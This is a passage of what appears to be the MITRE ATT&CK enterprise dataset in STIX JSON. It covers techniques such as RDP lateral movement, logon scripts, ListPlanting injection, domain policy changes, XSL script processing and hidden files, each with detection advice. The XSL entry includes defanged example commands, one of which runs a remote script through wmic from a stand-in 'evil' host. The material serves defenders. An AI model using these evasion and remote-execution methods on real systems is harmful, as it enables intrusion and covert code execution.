control"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","type":"attack-pattern","created":"2020-02-11T18:23:26.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1021.001","url":"https://attack.mitre.org/techniques/T1021/001"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","source_name":"TechNet Remote Desktop Services"},{"url":"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/","description":"Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.","source_name":"Alperovitch Malware"}],"modified":"2022-03-28T16:07:44.605Z","name":"Remote Desktop Protocol","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Process: Process Creation","Logon Session: Logon Session Creation","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["Remote Desktop Users","User"],"x_mitre_system_requirements":["RDP service enabled, account in the Remote Desktop Users group"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","type":"attack-pattern","created":"2020-01-10T03:43:37.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1037.001","url":"https://attack.mitre.org/techniques/T1037/001"},{"url":"https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx","description":"Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.","source_name":"TechNet Logon Scripts"},{"source_name":"Hexacorn Logon Scripts","url":"http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/","description":"Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019."}],"modified":"2020-03-24T23:45:03.153Z","name":"Logon Script (Windows)","description":"Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\\Environment\\UserInitMprLogonScript</code>.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Command: Command Execution","Process: Process Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","type":"attack-pattern","created":"2021-11-22T15:02:15.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.015","url":"https://attack.mitre.org/techniques/T1055/015"},{"source_name":"Microsoft List View Controls","url":"https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview","description":"Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022."},{"source_name":"Modexp Windows Process Injection","url":"https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/","description":"odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021."},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2022-03-08T20:59:20.762Z","name":"ListPlanting","description":"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>FindWindow</code>, <code>FindWindowEx</code>, <code>EnumWindows</code>, <code>EnumChildWindows</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be abused for this technique. \n\nConsider monitoring for excessive use of <code>SendMessage</code> and/or <code>PostMessage</code> API functions with <code>LVM_SETITEMPOSITION</code> and/or <code>LVM_GETITEMPOSITION</code> arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Modification"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Azure AD"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","type":"attack-pattern","created":"2019-03-07T14:10:32.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1484","url":"https://attack.mitre.org/techniques/T1484"},{"source_name":"ADSecurity GPO Persistence 2016","url":"https://adsecurity.org/?p=2716","description":"Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."},{"description":"Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.","url":"https://wald0.com/?p=179","source_name":"Wald0 Guide to GPOs"},{"source_name":"Harmj0y Abusing GPO Permissions","url":"http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/","description":"Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."},{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."},{"source_name":"Microsoft - Azure Sentinel ADFSDomainTrustMods","url":"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml","description":"Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."},{"source_name":"Microsoft 365 Defender Solorigate","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."},{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."},{"source_name":"CISA SolarWinds Cloud Detection","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-008a","description":"CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."},{"source_name":"Microsoft - Update or Repair Federated domain","url":"https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365","description":"Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."}],"modified":"2021-02-09T15:52:24.598Z","name":"Domain Policy Modification","description":"Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Creation","Active Directory: Active Directory Object Deletion","Command: Command Execution","Active Directory: Active Directory Object Modification"],"x_mitre_defense_bypassed":["System access controls","File system access controls"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Avneet Singh","Casey Smith","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","type":"attack-pattern","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1220","url":"https://attack.mitre.org/techniques/T1220"},{"url":"https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script","description":"Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.","source_name":"Microsoft XSLT Script Mar 2017"},{"url":"https://www.microsoft.com/download/details.aspx?id=21714","description":"Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.","source_name":"Microsoft msxsl.exe"},{"url":"https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/","description":"netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.","source_name":"Penetration Testing Lab MSXSL July 2017"},{"url":"https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/","description":"Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.","source_name":"Reaqta MSXSL Spearphishing MAR 2018"},{"description":"Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.","url":"https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75","source_name":"XSL Bypass Mar 2019"},{"source_name":"LOLBAS Wmic","url":"https://lolbas-project.github.io/lolbas/Binaries/Wmic/","description":"LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019."},{"url":"https://twitter.com/dez_/status/986614411711442944","description":"Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.","source_name":"Twitter SquiblyTwo Detection APR 2018"}],"modified":"2021-02-09T15:07:00.842Z","name":"XSL Script Processing","description":"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti-virus","Application control","Digital Certificate Validation"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Microsoft Core XML Services (MSXML) or access to wmic.exe"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f","type":"attack-pattern","created":"2020-10-02T17:00:44.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.005","url":"https://attack.mitre.org/techniques/T1596/005"},{"source_name":"Shodan","url":"https://shodan.io","description":"Shodan. (n.d.). Shodan. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:49:49.260Z","name":"Scan Databases","description":"Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","type":"attack-pattern","created":"2020-02-26T17:46:13.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1564.001","url":"https://attack.mitre.org/techniques/T1564/001"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"}],"modified":"2020-03-29T22:32:25.985Z","name":"Hidden Files and Directories","description":"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Process: Process Creation","Command: Command Execution","File: File Metadata"],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1","type":"attack-pattern","created":"2020-06-09T15:33:13.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1578.001","url":"https://attack.mitre.org/techniques/T1578/001"},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."},{"source_name":"AWS Cloud Trail Backup API","url":"https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html","description":"Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020."},{"source_name":"Azure - Monitor Logs","url":"https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor","description":"Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020."},{"source_name":"Cloud Audit Logs","url":"https://cloud.google.com/logging/docs/audit#admin-activity","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020."},{"source_name":"GCP - Creating and Starting a VM","url":"https://cloud.google.com/compute/docs/instances/create-start-instance#api_2","description":"Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020."}],"modified":"2021-03-08T10:33:02.060Z","name":"Create Snapshot","description":"An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>\"sourceSnapshot\":</code> parameter pointed to <code>\"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Snapshot: Snapshot Creation","Snapshot: Snapshot Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867","type":"attack-pattern","created":"2020-10-02T16:32:33.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.001","url":"https://attack.mitre.org/techniques/T1591/001"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."},{"source_name":"SEC EDGAR Search","url":"https://www.sec.gov/edgar/search-and-access","description":"U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."}],"modified":"2021-08-27T15:37:09.025Z","name":"Determine Physical Locations","description":"Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection 